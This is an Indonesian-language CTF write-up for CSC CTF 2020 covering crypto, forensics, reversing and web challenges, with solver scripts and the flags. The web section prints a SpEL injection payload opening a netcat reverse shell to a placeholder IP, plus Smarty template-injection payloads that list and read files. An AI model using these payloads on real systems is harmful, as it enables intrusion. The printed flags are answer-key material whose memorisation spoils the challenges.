CSC CTF 2020 Write Up
Tags: cryptography, forensics, reverseengineering, webexploitation
Published: 2020-12-07 14:22:15

---
title: CSC CTF 2020 Write Up
published: true
description: Write Up dari tim Lu mah mending, lah kita
tags: cryptography, forensics, reverseEngineering, webExploitation
cover_image: https://i.imgur.com/VoPghO2.jpg
---

![Tanamkan di hati iman yang kokoh](https://i.imgur.com/VoPghO2.jpg)

| Tim Member |
| --- |
|  [ChaO](https://github.com/ChaO-0) |
|  [AnehMan](https://github.com/anehman) |
|  [MBEERRR](https://github.com/yudi7ll) |

### Daftar Isi
- [Cryptography](#cryptography)
	- [Here We Go Again](#here-we-go-again)
- [Forensic](#forensic)
	- [Aing, Robot](#aing-robot)
- [Reverse Engineering](#reverse-engineering)
	- [Welcome to CSCCTF](#welcome-to-cscctf)
	- [Higher Please](#higher-please)
- [Web Exploitation](#web-exploitation)
	- [Speliberg](#speliberg)
	- [not-so-smart](#not-so-smart)
	- [iHateDevelopers](#ihatedevelopers)

---

# Cryptography
## Here We Go Again
### Executive Summary
Another good old menu in our cryptography section
Author: EternalBeats

### Technical Report
Diberikan file encrypted.txt. Berikut penampakannya

![encrypted.txt](https://lh6.googleusercontent.com/42MU1Yl_2JmC5y2bB6_NuLg6MUVe-VwKqLeCD1jBcGr20nBALvxvRHfohO4sLT4uVWk5MXKFSrKpreNrl0tPckwolmZ_YtE-IsCGZMDs9rLs9NT1AbOaRamCP869fRrjW_GioRiM)

Ada 1 modulus, 1 eksponen, dan 36 ciphertext. Kami menduga bahwa tiap karakter flag di encrypt. Jadi kami melakukan brute force, jika karakter yang di encrypt sama dengan ciphertext index ke-i, maka kita menemukan karakter flag. Berikut adalah full scriptnya
```py
from Crypto.Util.number import *
 
var = open("encrypted.txt","r").read().strip()
exec(var)   #n,e,cipher[]
 
flag = ""
 
for c in cipher:
   for m in range(256):
       res = pow(m,e,n)
       if res == c:
           flag += chr(m)
           break
 
print("FLAG:",flag)
```

Hasil

![hasil](https://lh4.googleusercontent.com/_yp2i9h-fipRHDXerLKKo3cI_3irQpEcu7WN_ZQr-lSPGyuW6a4ZH4e8ANLhXqlFDBZwQoVuCh-qLUY8OY9d_LgtjMsWjFlXEL4gHwjf4I6yIYflqQXlGYAcdJNFPoGcod3awAYF)

### Flag
Flag: CSCCTF{Rs4_d3crYpt10n_By_3ncRypT10n}

# Forensic
## Aing, Robot
### Executive Summary
Sketch like Sonny https://www.youtube.com/watch?v=Bs60aWyLrnI

Author: Bigby

File: robot.mp4

### Technical Report
Diberikam sebuah video dengan background putih dan kami melihat di beberapa frame pada video terdapat garis - garis hitam dengan pola yang menarik. Hal pertama yang kami pikirkan adalah mencoba menggabungkan semua frame pada video tersebut dan menghapus background putih. Berikut scriptnya:

![script](https://lh3.googleusercontent.com/iLp_738wmWqsty6M-1v-IEHlSNlkEnKfZk0kUWVtU37xgwP2z0E1ClSiQ0gea_FJjw0x8Q90iCfSW7r-DJMx712MoFiM_4-kc9xgL1iZFyxIqKrDRGCfxlA2j1MHXfOAsAVoWMlz)
![script2](https://lh3.googleusercontent.com/eWTshaGrajlYghw2JZATQddOh9XE_l365O98D_7w0VVWbMMTIbpZqIhnF13IRwAcS6MIo31fw7BB9jtzI5BiyC8OEXoOXyCBBPiS51391b26M7Bu17DM3gNstfqAbJe4ljMTJ5X_)
Setelah dijalankan kami mendapatkan hasil seperti ini

![hasil](https://lh3.googleusercontent.com/nQOEgouLEaINaeKDdLu1gsQr2oLcinK1uzwAqcu_33HP956n6lDZoR4sc1FX_xwLjpTNbxp1U07ApyPD8IAeS3-j6eheZ1nZx_D1CReKOK_o4kMY1XggNi2NUEmwIkLSzKhUmUCd)

Semua file tersebut adalah frame dari video yang sudah diedit backgroundnya menjadi transparan. Kami kemudian menggabungkan semua frame tersebut menggunakan gimp. Berikut penampakannya:

![gimp](https://lh5.googleusercontent.com/HQeU4J6XpuVTYg6xeOR3L0gNSwy5-nWSrXtrYUIXfoOSUN4HU1GUAzfGK7GYlz2hlWLVzQKhaHCGub7AHx0g0wODd1OoOKrv7S_JNHj_qqHQ6lNdP7OLXq7f6o6WDajszeP-vh_V)

### FLAG
CSCCTF{M4NT4P_53K4R4N9_B3rS1hK4n_F1L3}

# Reverse Engineering
## Welcome to CSCCTF
### Executive Summary
Welcome to CSCCTF! Begin your reverse engineering journey from this problem. Can you find the key?
Author: darmads
### Technical Report
Diberikan sebuah file apk. Langsung saja decompile online, dan baca sourcenya. Kode yang terpenting terdapat pada line code berikut ini.

```
public final boolean check(String kunci) {

       String str = kunci;

       Intrinsics.checkParameterIsNotNull(str, "kunci");

       if (kunci.length() >= 25 &&

           str.charAt(20) - str.charAt(0) == 24 &&

           str.charAt(8) + str.charAt(5) == 126 &&

           str.charAt(14) * str.charAt(5) == 3696 &&

            str.charAt(21) - str.charAt(1) == 33 &&

            str.charAt(10) - str.charAt(0) == 2 &&

            str.charAt(17) - str.charAt(0) == 19 &&

            str.charAt(17) * str.charAt(1) == 3848 &&

            str.charAt(4) + str.charAt(6) == 123 &&

            str.charAt(13) * str.charAt(16) == 4488 &&

            str.charAt(1) * str.charAt(6) == 2600 &&

            str.charAt(13) * str.charAt(23) == 3536 &&

            str.charAt(8) - str.charAt(5) == 14 &&

            str.charAt(15) + str.charAt(5) == 123 &&

            str.charAt(20) - str.charAt(17) == 5 &&

            str.charAt(17) + str.charAt(16) == 140 &&

            str.charAt(16) + str.charAt(14) == 132 &&

            str.charAt(3) * str.charAt(6) == 4250 &&

            str.charAt(18) + str.charAt(14) == 145 &&

            str.charAt(13) * 2 == 136 &&

            str.charAt(17) - str.charAt(10) == 17 &&

            str.charAt(11) + str.charAt(8) == 145 &&

            str.charAt(9) + str.charAt(1) == 135 &&

            str.charAt(11) + str.charAt(24) == 146 &&

            str.charAt(3) - str.charAt(7) == 11 &&

            str.charAt(0) - str.charAt(2) == 2 &&

            str.charAt(11) - str.charAt(13) == 7 &&

            str.charAt(3) + str.charAt(4) == 158 &&

            str.charAt(3) - str.charAt(16) == 19 &&

            str.charAt(4) - str.charAt(14) == 7 &&

            str.charAt(12) * str.charAt(1) == 4056 &&

            str.charAt(20) + str.charAt(8) == 149 &&

            str.charAt(9) - str.charAt(4) == 10 &&

            str.charAt(9) - str.charAt(6) == 33 &&

            str.charAt(9) * str.charAt(13) == 5644 &&

            str.charAt(16) + str.charAt(5) == 122 &&

            str.charAt(16) - str.charAt(10) == 9 &&

            str.charAt(17) + str.charAt(24) == 145 &&

            str.charAt(20) - str.charAt(13) == 11 &&

            str.charAt(18) * str.charAt(11) == 5925 &&

            str.charAt(21) * str.charAt(23) == 4420 &&

            str.charAt(22) * str.charAt(7) == 5698 &&

            str.charAt(15) - str.charAt(19) == 12 &&

            str.charAt(16) - str.charAt(1) == 14 &&

            str.charAt(3) - str.charAt(13) == 17 &&

            str.charAt(12) * str.charAt(8) == 5460 &&

            str.charAt(21) * str.charAt(13) == 5780 &&

            str.charAt(7) * str.charAt(1) == 3848 &&

            str.charAt(22) + str.charAt(6) == 127 &&

            str.charAt(13) + str.charAt(5) == 124 &&

            str.charAt(24) + str.charAt(1) == 123) {

           return true;

       }

       return false;

   }
```
Sepertinya, apk tersebut meminta sebuah serial key untuk dimasukkan, jika true maka akan menghasilkan flag. Dan pengecekan serial key akan dilakukan pada line code diatas. Untuk men-generate serial key, kami menggunakan z3solver. Berikut kode yang kami buat untuk mendapatkan serial key tersebut.

```
from z3 import *

vars = [Int(str(i)) for i in range(25)]

s = Solver()

s.add(vars[20] - vars[0] == 24)

s.add(vars[8]+ vars[5] == 126 )

s.add(vars[14] * vars[5] == 3696)

s.add(vars[21] - vars[1] == 33)

s.add(vars[10] - vars[0] == 2)

s.add(vars[17] - vars[0] == 19)

s.add(vars[17] * vars[1] == 3848)

s.add(vars[4]+ vars[6] == 123 )

s.add(vars[13] * vars[16] == 4488)

s.add(vars[1]* vars[6] == 2600 )

s.add(vars[13] * vars[23] == 3536)

s.add(vars[8]- vars[5] == 14 )

s.add(vars[15] + vars[5] == 123)

s.add(vars[20] - vars[17] == 5)

s.add(vars[17] + vars[16] == 140)

s.add(vars[16] + vars[14] == 132)

s.add(vars[3]* vars[6] == 4250 )

s.add(vars[18] + vars[14] == 145)

s.add(vars[13] * 2 == 136)

s.add(vars[17] - vars[10] == 17)

s.add(vars[11] + vars[8] == 145)

s.add(vars[9]+ vars[1] == 135 )

s.add(vars[11] + vars[24] == 146)

s.add(vars[3]- vars[7] == 11 )

s.add(vars[0]- vars[2] == 2 )

s.add(vars[11] - vars[13] == 7)

s.add(vars[3]+ vars[4] == 158 )

s.add(vars[3]- vars[16] == 19 )

s.add(vars[4]- vars[14] == 7 )

s.add(vars[12] * vars[1] == 4056)

s.add(vars[20] + vars[8] == 149)

s.add(vars[9]- vars[4] == 10 )

s.add(vars[9]- vars[6] == 33 )

s.add(vars[9]* vars[13] == 5644 )

s.add(vars[16] + vars[5] == 122)

s.add(vars[16] - vars[10] == 9)

s.add(vars[17] + vars[24] == 145)

s.add(vars[20] - vars[13] == 11)

s.add(vars[18] * vars[11] == 5925)

s.add(vars[21] * vars[23] == 4420)

s.add(vars[22] * vars[7] == 5698)

s.add(vars[15] - vars[19] == 12)

s.add(vars[16] - vars[1] == 14)

s.add(vars[3]- vars[13] == 17 )

s.add(vars[12] * vars[8] == 5460)

s.add(vars[21] * vars[13] == 5780)

s.add(vars[7]* vars[1] == 3848 )

s.add(vars[22] + vars[6] == 127)

s.add(vars[13] + vars[5] == 124)

s.add(vars[24] + vars[1] == 123)

print s.check()

print s.model()

w = {5 : 56,

21 : 85,

3 : 85,

19 : 55,

22 : 77,

23 : 52,

18 : 79,

20 : 79,

16 : 66,

9 : 83,

6 : 50,

4 : 73,

8 : 70,

12 : 78,

14 : 66,

11 : 75,

2 : 53,

7 : 74,

24 : 71,

13 : 68,

17 : 74,

15 : 67,

10 : 57,

1 : 52,

0 : 55}

test = []

for i in w:

 test.append(i)

serial = ''

for i in range(len(w)):

 serial += chr(w[test[i]])

print serial
```

Jalankan scriptnya.

![script](https://lh5.googleusercontent.com/roM8U3bjP6kwwLXbH0cw_Cy05a4zeStKGV_5jCWWq7A9YqQeT-dxmR6iPJT2unZ5snAWX-vONGBI5tqdc1tFucDO7FFPqzfX-9mKVtp6pocsgfuLeIGUlCEYpnNRepxBu8yLAAMh)

Akan didapatkan serial key seperti itu, langsung saja masukkan ke apknya.

![ss](https://lh6.googleusercontent.com/I1l4DcETzTQrcC6K_x-hslqTp0xgwdPX48mWwguVxR3tjVUg0G2Q6ApGW-oodb23abaLGBGi_dmBFllik6U7yDEJGnBveLKlCVgVn3LWEfE_Fzg31ch0vgP_lOpkf11iSK5Qdqo6)

Ternyata flagnya adalah serial key tersebut, hanya saja ditambahkan karakter “-” tiap 5 karakter.

### Flag
CSCCTF{745UI-82JFS-9KNDB-CBJO7-OUM4G}

## Higher Please
### Executive Summary
Objective: Grab the flag!
Author: darmads
https://drive.google.com/file/d/1PpoawEkFW0tIh_UmTlKVcERdQZ2YTc_o/view?usp=sharing
### Technical Report
Diberikan sebuah game dengan unity. Namun, karena kategori challenge ini adalah REVERSE, kami memutuskan untuk melakukan decompile terhadap file AssemblyC-Sharp.dll untuk melakukan reversing terhadap game tersebut. Pada hint juga disebutkan untuk menabrakkan diri ke tulisan FLAG untuk mendapatkan flag. Kami menggunakan dnSpy untuk mendecompile file tersebut dan mengcompilenya kembali dengan kode yang baru sehingga karakter kami bisa terbang dan menabrakkan diri terus menerus kepada flag, sayangnya flag tak kunjung muncul. Akhirnya kami putus asa dan salah satu dari team kami memiliki ide konyol untuk melakukan strings pada setiap file dan mencari string CSCCTF{ untuk mendapatkan flagnya.

![file](https://lh4.googleusercontent.com/IMdfLsCmh_dp_nFEhP2gYPHewu0PT3JWLVW4hl_SYLiJPeNkjHjw56cotEZX4kLe6_pDA9KHHzQBuyTRg44gfqUjLcp0alsBJQ3Aesm4du-_GQLA7Ko_bYj9KDE8nZ8JOPVEBImD)

Ternyata gamenya gak perlu di reverse >:(.
Reversenya kox jadi forensic >:(.

### Flag
CSCCTF{1_H0pe_I_w4s_b0rn_T4ll3r}

# Web Exploitation
## Speliberg
### Executive Summary
Author: Siahaan

http://128.199.77.174:20203
### Technical Report
Diberikan sebuah web & source code nya yang di buat menggunakan bahasa pemrograman java. Berikut isi filenya

![source](https://lh6.googleusercontent.com/zGO_z2DXSochFlPhbOpStJKGjLVl3ZvtV5YBwwF5Im9Jnorr_jr1R2_gc9ThZmPtHcq0RZ7EJ5BkIcJYv6dgj_PUvKGQc_1C7L0nCnL94t4JBOOtXr6WGRncJc3EMjffPKLEBJO6)

Dari file yang diberikan kami melihat adanya vuln rce yang terletak pada file *MovieController.java* di variable expr yang bisa di esacape.

![source java](https://lh4.googleusercontent.com/JwG_Vclgwsi-XZl1CeBAvSBhF6dRMbh2OOGfbqnAldaq7UkFaVxADxqhH5kOqbOC2hmMG8t_SEvHEFekxTgV247jzWA_3VqbdGpN_iS7VGL0Myn4fZjRPDaJMPFnFhPqga1Vz3cW)

Disini kami mencoba melakukan reverse shell pada input title dengan cara mengescape petik sebagai berikut:
```
' + T(java.lang.Runtime).getRuntime().exec("nc -e /bin/sh your-ip-here") + ' 
```

![ss](https://lh4.googleusercontent.com/KCIDL5cMfMCVHgfomKguwtCQhS9miBJRce9vS-ByVvcPfhiw2tygqpjH2ajPN_dCfRxwdxOi0hIGIdkv5-0cuYVZgDzoeTI89Xjd0bEe4VW7Ihx1i1KYl9uMiu5nlOcGzfGEzK-R)

Pada tab home kami ketikkan lagi payload tadi agar tereksekusi

![ss](https://lh4.googleusercontent.com/vEN4vgB0Yw0w642kxardtHokOEWL8I3IDWlKAffAO8ESkxqTf93_EIFgCxrqRt9Q01ReVLTKOvbCS2TmLktTYdO4ZMVZokBgdswprpr1DQPY3audCH_89KJ2URcRdDv5D5Nzjzp9)

![ss](https://lh6.googleusercontent.com/6MxiIa6IKcmUFJSjFgbCvWWiYawVUrnJ2wmqzbR_Qsw0b_ZlrK7wEOTxGGVbS7Mu73kgQCpIWnDQAM7rntb9vpgcySMST9na8hz2BbV8V8z-rbFPo4T3kcYTiHSxUYBzbEIWhXrp)

Flag ada di dir /. Tinggal di cat

![flag](https://lh5.googleusercontent.com/5y-SOqqD0yuSd10uJPyxHuQGJVhNUoy90AMCOlAH8qM1W9OfoJfHw1EqmV2FMDPsfPQqOIPuGJYnu7rOeQTFvuQ3cp23JZ1v03e9SFzTkAHqxh_LbaiQP3qsIR8J2tfT8272AjXd)

### Flag
CSCCTF{sst1_4lways_haz_freinds}

## not-so-smart
### Executive Summary
I only wanna marry someone who's smarter than me - xomeone

Author: ArkAngels

Flag ada di /

http://128.199.77.174:20200
### Technical Report
Diberikan sebuah web dengan vuln SSTI, awalnya saya sangat terfokus pada payload SSTI pada Twig karena terlalu sering SSTI pake twig.

Ternyata judul soal adalah hint dari challenge ini, akhirnya kami mencoba untuk memakai payload smarty. Berikut payload yang kami gunakan.
```
{php}echo `ls /`;{/php}
```
![ss](https://lh5.googleusercontent.com/xTWFXJQTylJsnoQt1g4XZnj7yWCAUe_6r5M9V412yX9vE2Tmb57-7_sz0MGtQO3pwSr_iOUP9vNugTSosoeA495wgBznw605RllfuTLSKi6Wb1U4u0IalPVfIQiB5aRxc6xwWnKq)

Akhirnya berhasil ls. Selanjutnya tinggal cat flag tersebut dengan payload
```
{php}echo `cat /f*`;{/php}
```

![ss](https://lh4.googleusercontent.com/sB8ygyABxOXyOM67Z0xwvFV-3HmJ8KeAh0pdvJ8u-yG0xJS9UNGWT3hN_fs7YD3LmTewGMnuBHdp-ZVMpxTSu9tw5sxJNXzWTE3RDT1fmSGEvHAYTQLZEa4eBzNMVjAfAd5K5jYr)

### FLAG
CSCCTF{you_are_smarter_than_MEH!}

## iHateDevelopers
### Executive Summary
Author: Siahaan
http://128.199.77.174:20201
### Technical Report
Diberikan URL yang berisi permainan PacMan. Berikut penampakannya

![ss](https://lh5.googleusercontent.com/NfEjJhp0ZInaGkfXamZGaPUUPECYhQOG-c2F3iXs-fcNRT3Cv1cSQ4boMYCe-FNJXltXo7PAM9mvxN6iWMjZSUg-h9U3v3YQRn9G9XgAFMG_CEVqve7zfUqKEA3otO3rhaAQP7RJ)

Ketika kita akan melihat source, kita disambut dengan alert.

![ss](https://lh5.googleusercontent.com/f7U_zT8_PZt2SVzIrTcQyrUG2SS9vsHf0b9zxxQEJSyQ4moFDjYm26zeg8V9Y6tEoJEGuIGNFVXaYyHZ5Z3Id21V_mLdZHfXsccUC8XveGHboIiRhDT9OXioRCDDWQPWqQJaGBjr)

Langsung saja kita mematikan JavaScript di browser, refresh page, view source. Ternyata flag ada langsung di source

![ss](https://lh6.googleusercontent.com/yfGCl78Mzm1td86SICLKvUMjngpCMPtpsYZS7lBK9loF2mo3EYfv-7Sy8WCNdg4T1q19CulxlpYRzp4x_7TaI2COVKH_kjM64cPCHQl2DpbuYw9mRDR58u3jXk5dEC3ePJxIz_wp)

### FLAG
CSCCTF{for_those_wh0_rely_on_JS_4lone}